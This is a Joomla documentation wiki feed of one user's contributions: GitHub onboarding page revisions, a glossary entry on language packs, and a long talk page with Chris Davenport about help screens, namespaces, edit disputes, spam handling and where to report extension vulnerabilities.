Joomla! Documentation - User contributions [en]

GitHub

2022-06-09T03:40:15Z

Cadrlp: /* Getting Started Guides */ update link to https://docs.github.com/en/get-started

[https://www.github.com GitHub] is a development platform inspired by the way you work. From open source to business, you can host and review code, manage projects, and build software alongside 50 million developers.

The Joomla CMS code base and many other aspects of the project are managed using GitHub as a version control and project management tool.

==Getting Started==
===Create an account===
To start using GitHub, create an account at https://github.com/signup

===Getting Started Guides===
GitHub have a comprehensive [https://docs.github.com/en/get-started Getting Started] section which new users would be well served to familiarize themselves with.

===The Joomla CMS Repository===
[https://github.com/joomla/joomla-cms Joomla's main CMS Repository] is where you can assist with tasks like patch testing, contributing code and reporting issues you find with the system.

There are many other repositories managed by Joomla which you can either browse in GitHub, or private repositories you may be invited to join when you are a member of a Joomla Team.

==GitHub Glossary==
In participating in the Joomla project as a coder, patch tester or other contributor, there's a variety of terms that are related directly to using GitHub. These resources should assist you with understanding this terminology:
* [https://docs.github.com/en/github/getting-started-with-github/github-glossary GitHub Glossary]

[[Category:Volunteer Engagement]]

GitHub

2022-06-09T03:38:21Z

Cadrlp: /* Create an account */ direct link to signup https://github.com/signup

[https://www.github.com GitHub] is a development platform inspired by the way you work. From open source to business, you can host and review code, manage projects, and build software alongside 50 million developers.

The Joomla CMS code base and many other aspects of the project are managed using GitHub as a version control and project management tool.

==Getting Started==
===Create an account===
To start using GitHub, create an account at https://github.com/signup

===Getting Started Guides===
GitHub have a comprehensive [https://docs.github.com/en/github/getting-started-with-github Getting Started] section which new users would be well served to familiarize themselves with.

===The Joomla CMS Repository===
[https://github.com/joomla/joomla-cms Joomla's main CMS Repository] is where you can assist with tasks like patch testing, contributing code and reporting issues you find with the system.

There are many other repositories managed by Joomla which you can either browse in GitHub, or private repositories you may be invited to join when you are a member of a Joomla Team.

==GitHub Glossary==
In participating in the Joomla project as a coder, patch tester or other contributor, there's a variety of terms that are related directly to using GitHub. These resources should assist you with understanding this terminology:
* [https://docs.github.com/en/github/getting-started-with-github/github-glossary GitHub Glossary]

[[Category:Volunteer Engagement]]

User:Cadrlp

2022-06-09T03:33:17Z

Cadrlp: Thank you to the Joomla Developers.

Cadrlp

Using Joomla 4.1.4, with my projects.

Thank you to the Joomla team.

Chunk:Language

2013-02-02T22:06:28Z

Cadrlp: spelling of internationalised

Languages are perhaps the most basic and critical [[Extensions|extension]] type. Languages are packaged as either a core language pack or an extension language pack. These packages consist of INI files which contain key/value pairs. These key/value pairs provide the translation of static text strings within Joomla! source code. This allows both the Joomla! core and third party components and modules to be internationalised. Core language packs also include an XML meta file describing the language and providing information about the fonts to use for PDF content generation.<noinclude>[[Category:Glossary definitions|{{PAGENAME}}]]</noinclude>

User talk:Chris Davenport

2012-10-31T06:29:52Z

Cadrlp: /* Mediwiki Spam a better way to manage it */

What was the reason my edits were removed?

Linking to external sites is classed as "self-promotion". If you wish to contribute videos (or any other resource) then they need to be hosted on our infrastructure. Ideally they will also be JEDL licensed, although we will consider material under other open licenses as long as the license terms are clearly shown. I look forward to seeing your videos. Just send them to me and I'll arrange to put them in an appropriate place. Thanks. [[User:Chris Davenport|Chris Davenport]] 03:43, 12 December 2008 (EST)

== basic template tutorial ==

You removed the warning notice I added to the tutorial, IMHO it is better to warn people that the basic tutorial will *not* give them a working template than letting them wonder why the template manager refuse to install their template. This notice should stay until someone fix the tutorial. For example removing the reference to the optional background.png from the xml because joomla will complain about a missing file and refuse to install the template. The xml example ought to be coherent with the outline of folder/file structure. Adding some mention of the role and importance the thumbnail file is another thing worth mention among the errors I had to fix for the template to actually install.

I removed your comments because they were not constructive. If you encountered a specific problem with the tutorial you should describe the issue in enough detail that someone would be able to reproduce it and then be able to amend the tutorial. You should also do that on the Talk: page rather than on the page itself. Better still you could amend the tutorial yourself; we welcome additions or amendments that improve the documentation. [[User:Chris Davenport|Chris Davenport]] 08:52, 15 November 2010 (UTC)

This revert thing is gonna get old quick. I can easily return the compliment and say I undid your removal because it's not constructive either, that If you encountered a specific problem with my editing, you should tell me about it in details on my talk page or point that warning readers that the tutorial is broken is improving the documentation, and the first step of actually fixing it. You should know better than what you did, I don't have the required knowledge and time to fix it myself. If you wanted to reproduce the issue, you just have to follow the tutorial step-by-step, better yet you can read the tutorial and you'll notice that it cannot work as is, or maybe just read what I wrote above and you'll see I did exactly what you asked me. On a related note don't invite someone to do something them block their account to prevent him from doing so, act stupid and treat people badly and they will act stupid too and behave as you expect them too. IMHO it's not smart to fight over such a ridiculous thing, but if you want me to waste both your and my time I'll take you on your challenge, so unless you're willing to block the whole ip range I'm using, I'll come back and do it again. This is the kind of behaviour you usually get from relying on http://meatballwiki.org/wiki/HardSecurity first and not trying to communicate instead of http://meatballwiki.org/wiki/SoftSecurity. see you soon from another ip. While at it also read http://meatballwiki.org/wiki/CriticismIsFeedback

All I am asking is that you edit the page in such a way that others can see the problem you encountered and can correct the information given. Simply saying that "...will end up in a few various errors..." does little to help us. What errors did you encounter? What version of Joomla were you using? What platform are you running Joomla on? Just stating that there are errors is like submitting a bug report that does nothing more than state that there is a bug in 1.6. Your hostile behaviour is uncalled for. 07:29, 16 November 2010 (UTC)

== Templates ==

Hello
I wanna ask, who can edit the Template Namespace in this Wiki? It would be cool, if a "normal" user could add some templates, cause I got a permission denied message --[[User:Bembelimen|Bembelimen]] 20:17, 23 December 2008 (UTC)

I wasn't aware that it was restricted. What page/template are you trying to edit/create? [[User:Chris Davenport|Chris Davenport]] 21:06, 23 December 2008 (UTC)
:It doesn't matter which one i try to edit or create. I get everytime this message:
:'''Permission error'''
:You do not have permission to edit pages, for the following reason: 
:You do not have permission to edit pages in the '''Template''' namespace.
:--[[User:Bembelimen|Bembelimen]] 21:37, 23 December 2008 (UTC)

I moved you to the Editors group. Try it now. [[User:Chris Davenport|Chris Davenport]] 23:36, 23 December 2008 (UTC)
:works now, thank you --[[User:Bembelimen|Bembelimen]] 23:52, 23 December 2008 (UTC)

== J1.6 Help system ==

I read that all will be different for Help in 1.6. Can you please point me to plans for Help 1.6? Tony Davis 06:02, 3 November 2009 (UTC)

Help for Joomla 1.5 and prior versions has traditionally been served from pages on http://help.joomla.org, which is itself a Joomla instance. In fact, the help system implemented in all Joomla versions up to 1.5 is hard-coded to require that the help server be a Joomla instance (probably not intentionally, but that's the way it worked out). That caused a couple of problems:
# When we moved the focus of the documentation effort to a wiki, it made sense to construct the help screens on the wiki too. However, this meant that we had to copy-paste the help screens from the wiki to help.joomla.org and whilst this is straightforward in theory, it is actually very labour-intensive and there is a lot of manual "fixing-up" that had to be done.
# It didn't solve a problem that had always existed with the help screens: clicking on a link in a help screen causes the next page to be loaded to appear with the full Joomla template, including headers, footers and modules, when it would be better to have just the help screen content display.
The first of these problems is addressed by serving the help screens directly from the wiki. However, this requires some minor code changes in Joomla itself. There is a patch to enable 1.5 to access non-Joomla help servers, but I believe it needs tweaking for 1.6 and I haven't had chance to do that yet. The second of these problems is addressed by serving the help screens via a proxy instead of directly from the wiki. The proxy is a Joomla instance running a small component and is already set up and running at http://help.joomla.org/proxy. It uses the wiki's web API to pull data from the wiki and because it has a stripped-down default template, it doesn't deliver any headers, footers or modules that are not intended.

As for the help screens themselves, the user interface for 1.6 is not yet fixed so it probably not wise to start writing the help screens (which generally involve a lot of screenshots) until it is. It is expected that the UI will be fixed when the first beta is released, so that should be the starting point for writing help screens. Of course, there's nothing to stop anyone starting before then, you just need to be aware that changes are very likely to happen.

The other area which is still "up for grabs" is a new key reference scheme. The help system works by having a "key reference" embedded in the code. This is then used to construct a URL from which the help screen is pulled. You can see the traditional naming scheme here: [[Help screens]]. However, with 1.6 we have the opportunity to completely revise this scheme if we want to. For example, we could add a namespace to the key reference, giving us "Joomla16:Config" instead of "screen.config.16", say. I'm not saying we should do that; I'm just illustrating the point that we have a great deal of flexibility and with 1.6 we don't have to worry about backwards-compatibility as there won't be any even if we stick with the current naming scheme.

In 1.5 (and before) the Joomla version number was appended to the basic key reference automatically. With the new help system, we can construct URL's with a lot more flexibility and we can make use of the following variables:
* keyref
*: The basic key reference itself
* major
*: The major part of the Joomla version number.
* minor
*: The minor part of the Joomla version number.
* maintenance
*: The maintenance part of the Joomla version number.
* language
*: The full language code (eg. "en-GB")
* langregion
*: The region part of the language code (eg. "GB").
These variables can be used anywhere within a help system URL to construct the page name to be retrieved.

Hope that helps.
[[User:Chris Davenport|Chris Davenport]] 09:36, 3 November 2009 (UTC)
Thanks for that Chris.

I take it from the above that one decision (or obvious thing) is that 1.6 Help will be a Joomla based system. Which leads to the question - Should the documentation be similarly based? I see it all being of a piece - the Help Screens being the descriptive part of the User Manual but there also being Introductory texts, Tutorials, Videos, Recipes (a lesser form of Tutorial to encourage folk to write them). It will be accessed either contextually - as a Help System - or like a Cookery Book or like a programming tutorial text. Is this totally daft?

I have built a whole heap of wiki pages and have learnt loads. see [http://docs.joomla.org/Manual_1_6 the root] I am concerned about controlling it. Could you look at Amy's Ning in two places [http://www.alltogetherasawhole.org/group/joomla16userguide/forum/topics/are-things-going-in-the-right bottom of this page] and [http://www.alltogetherasawhole.org/group/joomla16userguide/forum/topics/style-and-content this post] asking for volunteers.

All advice gratefully received. Tony Davis 22:02, 3 November 2009 (UTC)

Not sure I follow what you mean when you say that "1.6 Help will be a Joomla based system". The English help screens for 1.6 are going to be served from the wiki, although they are going through a proxy that happens to be running Joomla (I could just as easily have written some standalone PHP to act as a proxy, or if I knew how, a Drupal instance). The fact that all the documentation will be in the wiki, including the help screens, means that we can share content between the help screens and other forms of documentation. For example, I hope that the new 1.6 help screens will include links to more task-orientated pages. I wouldn't include the help screens as such in the User Manual as they mostly just describe what you see on a particular Administrator screen. I think that the User Manual (or Administrator's Manual as I prefer to call it) should be more task/goal orientated. I made a start at the sort of material I thought was appropriate on this page: [[Administrators]]. This is not to say that we cannot share content between the help screens and the User Manual though, but including an entire help screen in the User Manual is probably not very helpful.

I haven't had chance to read the Ning pages thoroughly, but I think Amy is right when she says that we should not expect authors to be wiki experts. We need to encourage people to write the raw material that can then be shaped by others into the modular, context-independent form that is the life-blood of a single-source, modular documentation system. [[User:Chris Davenport|Chris Davenport]] 23:19, 3 November 2009 (UTC)

== Vulnerable Extensions Updates ==

I noticed you are in process of updating the page. I am wondering if your update might contain any new information regarding Zoom Media Gallery (a now dead project), or Ice Gallery (Zoom's replacement project, which may also be either dead or in serious limbo). Ice Gallery, it seems, has a serious vulnerability, and is not yet listed here. In any event, Ice should be added, and Zoom entry should be updated as well. I have the info, and can do, if you don't. --[[User:Riverside|Riverside]] 00:16, 21 November 2010 (UTC)

I'm not involved in maintaining that information. Please email vel@joomla.org to report vulnerabilities. Thank you. [[User:Chris Davenport|Chris Davenport]] 00:25, 21 November 2010 (UTC)
:Sorry, I was looking at the wrong history page (talk, instead of the main page ~ so apparently it wasn't you editing it), but I will send what I've found there. Thanks. --[[User:Riverside|Riverside]] 18:58, 21 November 2010 (UTC)

==Templates for 1.6==
Chris,
Just wondering if you got my email regarding chunks and templates for the 1.6 help screens. I'd like to be editing and updating a lot of these screens but I'm not going to do anything until we can figure out a good way to handle chunks.
Would appreciate a response.
[[User:219jondn|219jondn]] 01:48, 21 January 2011 (UTC)

== Terminology ==

I note that you removed the material I put on the evaluators page about terminology.
Could you clarify your reasons please ? [[User:Vernonr|Vernonr]] 10:27 4 April 2011 (UTC)

Yes, you linked to material on your user page, which is not a good idea as all material should be in one of the main namespaces rather than in personal areas. Plus, your user page contained references to external sites which could be construed as self-promotion (see [[JDOC:Wiki_policy|Wiki_policy]]. Although the links are acceptable on user pages, they would not be acceptable on main documentation pages. You can fix it easily by writing directly in the Evaluators page and not linking to external sites. [[User:Chris Davenport|Chris Davenport]] 19:53, 4 April 2011 (UTC)

OK. How can one create a new page in the main namespace ?

I think it would make more sense to have an introductory page about terminology than to try and fit the material into the Evaluators page, and there could be other pages in the main namespace that should have the link. Would I be right in thinking that noting the authorship of articles is allowed under [[JDOC:Wiki_policy|Wiki_policy]] i.e. a link to the user page [[User:Vernonr|Vernonr]] 10:20 5 April 2011 (UTC)

You don't need any additional permissions to create pages in the main namespace, so just go right ahead. It is not necessary to note authorship in the pages themselves as all pages have full version history automatically recorded, including links to user pages (just click the "history" tab on any page). [[User:Chris Davenport|Chris Davenport]] 21:14, 5 April 2011 (UTC)

=== Change permission of content ===
Hi.
I would ask permission to move pages from the template namespace which are actually in course descriptions and pages that have links pointing to them.
I have as main objective the wiki organization and redesign the landing pages.

Thanks,
[[User:Wgviana|WGViana]]

Hi WGVianna. Can you give me some examples of the changes you are proposing? Moving templates needs to be done with care and I want to make sure that what you are proposing fits with our overall objectives. Thanks. [[User:Chris Davenport|Chris Davenport]] 14:39, 8 September 2011 (CDT)

Hi Chris.
List pages => [http://docs.joomla.org/index.php?title=Special%3AAllPages&from=&to=&namespace=10|SpecialPages:Allpages], there are pages in this namespace that are in my view should namespace '''description''' such as:
*[[Template:Beginner_profile]]
*[[Template:Framework]]
*[[Template:Model-View-Controller]]
*[[Template:Upgrade_Package]]
*[[Template:Upgrade-test]]
*[[Template:Version_Control_Software]]
[[User:Wgviana|WGViana]] 12:00, 9 September 2011

Hi Wgviana. I agree they should not be in the Template: namespace. However, I think they should be moved to the Chunk: namespace rather than Description:. The Description: namespace was set up specifically for class and method descriptions in the API Reference. I have added you to the Editors group so you should be able to make the changes yourself now. Thanks for volunteering. [[User:Chris Davenport|Chris Davenport]] 16:15, 12 September 2011 (CDT)

==Minor Spelling Issue==
Hi Chris, Top of the protected page:[http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable_Extensions_List] "Jnuary" is probably "January" with an "a". Thank you

== Translations into french ==

Hi. I'm a french speaking Joomla enthousiast ;) I'd like to port Security Guide into French, as this seems to be a main concern for some french speaking users. I could of course host that on my personal page, or as a guide on the french forum about Joomla, but I think that the best way should be to start a translation of the Wiki into french. Do you think it could be possible to have a subpage like the ones available for the brochure ? Is there something specific to do ? Is it a good practice or not ?

[[User:Elnikoff|Elnikoff]] 03:25, 30 November 2011 (CST)

== Help25 ==

What are those changes you did with Help25?? [[User:Oc666|oc666]] 17:04, 25 December 2011 (CST)

Help25 is a new namespace for the Joomla 2.5 help screens. So far I have just copied across all the Joomla 1.7 help screens and amended all 1.6/1.7 references to 2.5. I'm just now trying to work systematically through all the toolbar sections. If you have some time and you'd like to lend a hand, just dive straight in, or let me know if you need some pointers. [[User:Chris Davenport|Chris Davenport]] 17:10, 25 December 2011 (CST)

== Define default name ==

What should be the correct nomenclature?
manager or management
{|
|-style="vertical-align:top"
|<categorytree>Extensions</categorytree>
|<categorytree>Components</categorytree>
|<categorytree>Languages</categorytree>
|<categorytree>Modules</categorytree>
|<categorytree>Plugins</categorytree>
|<categorytree>Templates</categorytree>
|}
I believe we should create the following categories:
* Language
** Language Management
and organizer:
* Extension Management
** Component Management
** Language Management
** Module Management
** Plugin Management
** Template Management
--[[User:Wgviana|Wgviana]] 14:49, 25 March 2012 (CDT)

I think that "manager" would refer to the component whereas "management" would refer to the process. Personally, I think "management" would be more appropriate in the category names. [[User:Chris Davenport|Chris Davenport]] 16:20, 25 March 2012 (CDT)

== External links come automatically with signature ==

Hello Chris,

Not to complain, but just to inform you why the link to my site appeared on [[http://docs.joomla.org/index.php?title=Accessing_the_database_using_JDatabase&action=history]] (and possibly make someone change this wiki automatisation):
It's because I put 3 tilda's there to let everyone know which user said this (as I thought was appropriate because it was rather a editing note and not joomla specific knowledge).
So, maybe the 3 tilda's should be changed somehow in this wiki? Because after all, I'd still want that link to exist in my User info.

Cheers
(No reply needed, you can immediatly delete this if you want)

:Hmm, okay. I usually use 4 tildas, so this is a test with 3 tildas. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]])

:So for me using 3 tildas just adds links to the user's local profile page and profile talk page. Ahh, I wonder if you have a link in your signature. Please check the signature field in your user preferences and remove the external link if there is one. Thanks. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]]) 15:18, 12 September 2012 (CDT)
::Apperently it had everything to do with my signature. I originally thought that had nothing to do with the tilda's, but it has. [[User:E-builds|E-motiv (former E-builds)]] ([[User_talk:E-builds|talk]]) 15:01, 21 September 2012 (CDT)
:::Thanks. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]]) 03:32, 22 September 2012 (CDT)

== Deleting page sends mail "created page" ?? ==

Hello again Chris,

I got a mail from the wiki saying you just created the page http://docs.joomla.org/Using_a_custom_image_in_the_Menu_Bar_title.
I guess this is some template or other wiki misconfiguration, since you just deleted it.
I didn't know where to put this comment, so here it is. Feel free to forward to someone responsible, able or willing to fix it. :-)
[[User:E-builds|E-motiv (former E-builds)]] ([[User_talk:E-builds|talk]])

:It's a "bug" that's been in MediaWiki for years. The notification emails are identical whether a page is amended or deleted. I'm so used to it now I just don't notice it any more. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]]) 14:25, 4 October 2012 (CDT)

== CodeExamples en categories with :: ==

Hallo again, Chris,
Weren't you the guy that included CodeExamples in this wiki? 
If not, any idea who is or who is the wiki-responsible to talk to? 
If so, read on..

I tried to help people by giving this CodeExample [[CodeExample:JHtml::stylesheet]], but it doesn't show up in the JHtml::stylesheet. On inspection of some of those pages, I noticed that a lot of (if not all) categories that have a "::" in them, show up as red (as if they don't exist), but they do. so I was wondering if that wasn't also the reason for my code-example not to show up.
[[User:E-builds|E-motiv (former E-builds)]] ([[User_talk:E-builds|talk]]) 12:26, 4 October 2012 (CDT)

:The CodeExample extension is currently broken following an upgrade to the MediaWiki software. I keep meaning to try to fix it, but workload keeps getting the better of me. If you're a developer and you'd like to take a look then please drop me a line. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]]) 14:25, 4 October 2012 (CDT)

:: I don't think that I will have the time, but you can send me the php or template or whatever so I have it when I find the time and "power" ;-) [[User:E-builds|E-motiv (former E-builds)]] ([[User_talk:E-builds|talk]])

== Mediwiki Spam a better way to manage it ==
Hello Chris,

Looking thru the ''Recent Changes'' it seems like a lot of bogus wiki accounts are made and then used to spam the wiki. Has anyone looked at installing the [http://www.mediawiki.org/wiki/Extension:ConfirmAccount Extension:ConfirmAccount] and instead of requesting a 50 word biography for the request form only ask for about 5 words to prove they are human that then can be rejecting or accepted? The intent being to reduce the amount of time currently spent chasing and deleting the spam pages and is not to get a real bio only to see if it is a real person who is not planning just to spam the wiki.

The request wording: '''Are you a human, and not just signing up to spam our wiki? One of the Joomla! people will read what you write here and then confirm your account. Sorry for the inconvenience, but reducing spam on the wiki makes this step necessary...'''
* Q:Why do you want a login? (plain text only):
:Since we would need to examine all user registrations in order to accept or reject them, your proposal would, I think, involve more work rather than less. Although there are a lot of spam registrations, only a few confirm their email addresses and the present rate of at most a handful of spam posts per day is manageable. Thanks for the suggestion though. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]]) 19:39, 29 October 2012 (CDT)
:: Your Welcome.. [[User:Cadrlp|Cadrlp]] ([[User talk:Cadrlp|talk]]) 01:29, 31 October 2012 (CDT)

User talk:Chris Davenport

2012-10-26T00:52:56Z

Cadrlp: /* CodeExamples en categories with :: */ Mediwiki Spam and better ways to manage it

What was the reason my edits were removed?

Linking to external sites is classed as "self-promotion". If you wish to contribute videos (or any other resource) then they need to be hosted on our infrastructure. Ideally they will also be JEDL licensed, although we will consider material under other open licenses as long as the license terms are clearly shown. I look forward to seeing your videos. Just send them to me and I'll arrange to put them in an appropriate place. Thanks. [[User:Chris Davenport|Chris Davenport]] 03:43, 12 December 2008 (EST)

== basic template tutorial ==

You removed the warning notice I added to the tutorial, IMHO it is better to warn people that the basic tutorial will *not* give them a working template than letting them wonder why the template manager refuse to install their template. This notice should stay until someone fix the tutorial. For example removing the reference to the optional background.png from the xml because joomla will complain about a missing file and refuse to install the template. The xml example ought to be coherent with the outline of folder/file structure. Adding some mention of the role and importance the thumbnail file is another thing worth mention among the errors I had to fix for the template to actually install.

I removed your comments because they were not constructive. If you encountered a specific problem with the tutorial you should describe the issue in enough detail that someone would be able to reproduce it and then be able to amend the tutorial. You should also do that on the Talk: page rather than on the page itself. Better still you could amend the tutorial yourself; we welcome additions or amendments that improve the documentation. [[User:Chris Davenport|Chris Davenport]] 08:52, 15 November 2010 (UTC)

This revert thing is gonna get old quick. I can easily return the compliment and say I undid your removal because it's not constructive either, that If you encountered a specific problem with my editing, you should tell me about it in details on my talk page or point that warning readers that the tutorial is broken is improving the documentation, and the first step of actually fixing it. You should know better than what you did, I don't have the required knowledge and time to fix it myself. If you wanted to reproduce the issue, you just have to follow the tutorial step-by-step, better yet you can read the tutorial and you'll notice that it cannot work as is, or maybe just read what I wrote above and you'll see I did exactly what you asked me. On a related note don't invite someone to do something them block their account to prevent him from doing so, act stupid and treat people badly and they will act stupid too and behave as you expect them too. IMHO it's not smart to fight over such a ridiculous thing, but if you want me to waste both your and my time I'll take you on your challenge, so unless you're willing to block the whole ip range I'm using, I'll come back and do it again. This is the kind of behaviour you usually get from relying on http://meatballwiki.org/wiki/HardSecurity first and not trying to communicate instead of http://meatballwiki.org/wiki/SoftSecurity. see you soon from another ip. While at it also read http://meatballwiki.org/wiki/CriticismIsFeedback

All I am asking is that you edit the page in such a way that others can see the problem you encountered and can correct the information given. Simply saying that "...will end up in a few various errors..." does little to help us. What errors did you encounter? What version of Joomla were you using? What platform are you running Joomla on? Just stating that there are errors is like submitting a bug report that does nothing more than state that there is a bug in 1.6. Your hostile behaviour is uncalled for. 07:29, 16 November 2010 (UTC)

== Templates ==

Hello
I wanna ask, who can edit the Template Namespace in this Wiki? It would be cool, if a "normal" user could add some templates, cause I got a permission denied message --[[User:Bembelimen|Bembelimen]] 20:17, 23 December 2008 (UTC)

I wasn't aware that it was restricted. What page/template are you trying to edit/create? [[User:Chris Davenport|Chris Davenport]] 21:06, 23 December 2008 (UTC)
:It doesn't matter which one i try to edit or create. I get everytime this message:
:'''Permission error'''
:You do not have permission to edit pages, for the following reason: 
:You do not have permission to edit pages in the '''Template''' namespace.
:--[[User:Bembelimen|Bembelimen]] 21:37, 23 December 2008 (UTC)

I moved you to the Editors group. Try it now. [[User:Chris Davenport|Chris Davenport]] 23:36, 23 December 2008 (UTC)
:works now, thank you --[[User:Bembelimen|Bembelimen]] 23:52, 23 December 2008 (UTC)

== J1.6 Help system ==

I read that all will be different for Help in 1.6. Can you please point me to plans for Help 1.6? Tony Davis 06:02, 3 November 2009 (UTC)

Help for Joomla 1.5 and prior versions has traditionally been served from pages on http://help.joomla.org, which is itself a Joomla instance. In fact, the help system implemented in all Joomla versions up to 1.5 is hard-coded to require that the help server be a Joomla instance (probably not intentionally, but that's the way it worked out). That caused a couple of problems:
# When we moved the focus of the documentation effort to a wiki, it made sense to construct the help screens on the wiki too. However, this meant that we had to copy-paste the help screens from the wiki to help.joomla.org and whilst this is straightforward in theory, it is actually very labour-intensive and there is a lot of manual "fixing-up" that had to be done.
# It didn't solve a problem that had always existed with the help screens: clicking on a link in a help screen causes the next page to be loaded to appear with the full Joomla template, including headers, footers and modules, when it would be better to have just the help screen content display.
The first of these problems is addressed by serving the help screens directly from the wiki. However, this requires some minor code changes in Joomla itself. There is a patch to enable 1.5 to access non-Joomla help servers, but I believe it needs tweaking for 1.6 and I haven't had chance to do that yet. The second of these problems is addressed by serving the help screens via a proxy instead of directly from the wiki. The proxy is a Joomla instance running a small component and is already set up and running at http://help.joomla.org/proxy. It uses the wiki's web API to pull data from the wiki and because it has a stripped-down default template, it doesn't deliver any headers, footers or modules that are not intended.

As for the help screens themselves, the user interface for 1.6 is not yet fixed so it probably not wise to start writing the help screens (which generally involve a lot of screenshots) until it is. It is expected that the UI will be fixed when the first beta is released, so that should be the starting point for writing help screens. Of course, there's nothing to stop anyone starting before then, you just need to be aware that changes are very likely to happen.

The other area which is still "up for grabs" is a new key reference scheme. The help system works by having a "key reference" embedded in the code. This is then used to construct a URL from which the help screen is pulled. You can see the traditional naming scheme here: [[Help screens]]. However, with 1.6 we have the opportunity to completely revise this scheme if we want to. For example, we could add a namespace to the key reference, giving us "Joomla16:Config" instead of "screen.config.16", say. I'm not saying we should do that; I'm just illustrating the point that we have a great deal of flexibility and with 1.6 we don't have to worry about backwards-compatibility as there won't be any even if we stick with the current naming scheme.

In 1.5 (and before) the Joomla version number was appended to the basic key reference automatically. With the new help system, we can construct URL's with a lot more flexibility and we can make use of the following variables:
* keyref
*: The basic key reference itself
* major
*: The major part of the Joomla version number.
* minor
*: The minor part of the Joomla version number.
* maintenance
*: The maintenance part of the Joomla version number.
* language
*: The full language code (eg. "en-GB")
* langregion
*: The region part of the language code (eg. "GB").
These variables can be used anywhere within a help system URL to construct the page name to be retrieved.

Hope that helps.
[[User:Chris Davenport|Chris Davenport]] 09:36, 3 November 2009 (UTC)
Thanks for that Chris.

I take it from the above that one decision (or obvious thing) is that 1.6 Help will be a Joomla based system. Which leads to the question - Should the documentation be similarly based? I see it all being of a piece - the Help Screens being the descriptive part of the User Manual but there also being Introductory texts, Tutorials, Videos, Recipes (a lesser form of Tutorial to encourage folk to write them). It will be accessed either contextually - as a Help System - or like a Cookery Book or like a programming tutorial text. Is this totally daft?

I have built a whole heap of wiki pages and have learnt loads. see [http://docs.joomla.org/Manual_1_6 the root] I am concerned about controlling it. Could you look at Amy's Ning in two places [http://www.alltogetherasawhole.org/group/joomla16userguide/forum/topics/are-things-going-in-the-right bottom of this page] and [http://www.alltogetherasawhole.org/group/joomla16userguide/forum/topics/style-and-content this post] asking for volunteers.

All advice gratefully received. Tony Davis 22:02, 3 November 2009 (UTC)

Not sure I follow what you mean when you say that "1.6 Help will be a Joomla based system". The English help screens for 1.6 are going to be served from the wiki, although they are going through a proxy that happens to be running Joomla (I could just as easily have written some standalone PHP to act as a proxy, or if I knew how, a Drupal instance). The fact that all the documentation will be in the wiki, including the help screens, means that we can share content between the help screens and other forms of documentation. For example, I hope that the new 1.6 help screens will include links to more task-orientated pages. I wouldn't include the help screens as such in the User Manual as they mostly just describe what you see on a particular Administrator screen. I think that the User Manual (or Administrator's Manual as I prefer to call it) should be more task/goal orientated. I made a start at the sort of material I thought was appropriate on this page: [[Administrators]]. This is not to say that we cannot share content between the help screens and the User Manual though, but including an entire help screen in the User Manual is probably not very helpful.

I haven't had chance to read the Ning pages thoroughly, but I think Amy is right when she says that we should not expect authors to be wiki experts. We need to encourage people to write the raw material that can then be shaped by others into the modular, context-independent form that is the life-blood of a single-source, modular documentation system. [[User:Chris Davenport|Chris Davenport]] 23:19, 3 November 2009 (UTC)

== Vulnerable Extensions Updates ==

I noticed you are in process of updating the page. I am wondering if your update might contain any new information regarding Zoom Media Gallery (a now dead project), or Ice Gallery (Zoom's replacement project, which may also be either dead or in serious limbo). Ice Gallery, it seems, has a serious vulnerability, and is not yet listed here. In any event, Ice should be added, and Zoom entry should be updated as well. I have the info, and can do, if you don't. --[[User:Riverside|Riverside]] 00:16, 21 November 2010 (UTC)

I'm not involved in maintaining that information. Please email vel@joomla.org to report vulnerabilities. Thank you. [[User:Chris Davenport|Chris Davenport]] 00:25, 21 November 2010 (UTC)
:Sorry, I was looking at the wrong history page (talk, instead of the main page ~ so apparently it wasn't you editing it), but I will send what I've found there. Thanks. --[[User:Riverside|Riverside]] 18:58, 21 November 2010 (UTC)

==Templates for 1.6==
Chris,
Just wondering if you got my email regarding chunks and templates for the 1.6 help screens. I'd like to be editing and updating a lot of these screens but I'm not going to do anything until we can figure out a good way to handle chunks.
Would appreciate a response.
[[User:219jondn|219jondn]] 01:48, 21 January 2011 (UTC)

== Terminology ==

I note that you removed the material I put on the evaluators page about terminology.
Could you clarify your reasons please ? [[User:Vernonr|Vernonr]] 10:27 4 April 2011 (UTC)

Yes, you linked to material on your user page, which is not a good idea as all material should be in one of the main namespaces rather than in personal areas. Plus, your user page contained references to external sites which could be construed as self-promotion (see [[JDOC:Wiki_policy|Wiki_policy]]. Although the links are acceptable on user pages, they would not be acceptable on main documentation pages. You can fix it easily by writing directly in the Evaluators page and not linking to external sites. [[User:Chris Davenport|Chris Davenport]] 19:53, 4 April 2011 (UTC)

OK. How can one create a new page in the main namespace ?

I think it would make more sense to have an introductory page about terminology than to try and fit the material into the Evaluators page, and there could be other pages in the main namespace that should have the link. Would I be right in thinking that noting the authorship of articles is allowed under [[JDOC:Wiki_policy|Wiki_policy]] i.e. a link to the user page [[User:Vernonr|Vernonr]] 10:20 5 April 2011 (UTC)

You don't need any additional permissions to create pages in the main namespace, so just go right ahead. It is not necessary to note authorship in the pages themselves as all pages have full version history automatically recorded, including links to user pages (just click the "history" tab on any page). [[User:Chris Davenport|Chris Davenport]] 21:14, 5 April 2011 (UTC)

=== Change permission of content ===
Hi.
I would ask permission to move pages from the template namespace which are actually in course descriptions and pages that have links pointing to them.
I have as main objective the wiki organization and redesign the landing pages.

Thanks,
[[User:Wgviana|WGViana]]

Hi WGVianna. Can you give me some examples of the changes you are proposing? Moving templates needs to be done with care and I want to make sure that what you are proposing fits with our overall objectives. Thanks. [[User:Chris Davenport|Chris Davenport]] 14:39, 8 September 2011 (CDT)

Hi Chris.
List pages => [http://docs.joomla.org/index.php?title=Special%3AAllPages&from=&to=&namespace=10|SpecialPages:Allpages], there are pages in this namespace that are in my view should namespace '''description''' such as:
*[[Template:Beginner_profile]]
*[[Template:Framework]]
*[[Template:Model-View-Controller]]
*[[Template:Upgrade_Package]]
*[[Template:Upgrade-test]]
*[[Template:Version_Control_Software]]
[[User:Wgviana|WGViana]] 12:00, 9 September 2011

